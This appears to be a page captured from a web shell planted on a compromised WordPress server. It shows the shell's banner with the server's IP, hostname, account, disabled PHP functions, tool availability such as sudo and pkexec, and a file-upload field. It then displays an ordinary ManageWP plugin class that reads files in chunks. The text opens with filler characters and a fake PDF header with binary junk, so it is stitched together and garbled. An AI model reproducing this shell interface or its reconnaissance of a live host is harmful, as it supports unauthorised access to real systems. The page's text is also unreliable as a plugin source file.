...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 65.108.66.160 / Your IP : 216.73.217.50 Web Server : Apache System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64 User : alasaweborg ( 1047) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/alasaweborg/public_html/wp-content/plugins/worker/src/MWP/IncrementalBackup/ |
Upload File : |
<?php
/*
* This file is part of the ManageWP Worker plugin.
*
* (c) ManageWP LLC <contact@managewp.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
class MWP_IncrementalBackup_FileReader
{
/**
* @var int
*/
private $chunkByteSize = 4096;
/**
* @return int
*/
public function getChunkByteSize()
{
return $this->chunkByteSize;
}
/**
* @param int $chunkByteSize
*/
public function setChunkByteSize($chunkByteSize)
{
$this->chunkByteSize = $chunkByteSize;
}
/**
*
*
* @param string $realPath
* @param int $offset
* @param int $limit
*
* @return mixed
*/
public function readFileContents($realPath, $offset = 0, $limit = 0)
{
if (!file_exists($realPath)) {
return null;
}
$handle = fopen($realPath, "rb");
if (!$handle) {
return null;
}
$contentLength = 0;
$buffer = '';
if ($limit === 0) {
$limit = filesize($realPath) - $offset;
}
if ($offset !== 0) {
fseek($handle, $offset);
}
while ($limit > 0) {
$chunkSize = $limit > $this->chunkByteSize ? $this->chunkByteSize : $limit;
$limit = $limit - $chunkSize;
$contentLength = $contentLength + $chunkSize;
$contents = fread($handle, $chunkSize);
$buffer = $buffer.$contents;
}
fclose($handle);
return array($buffer, $contentLength);
}
}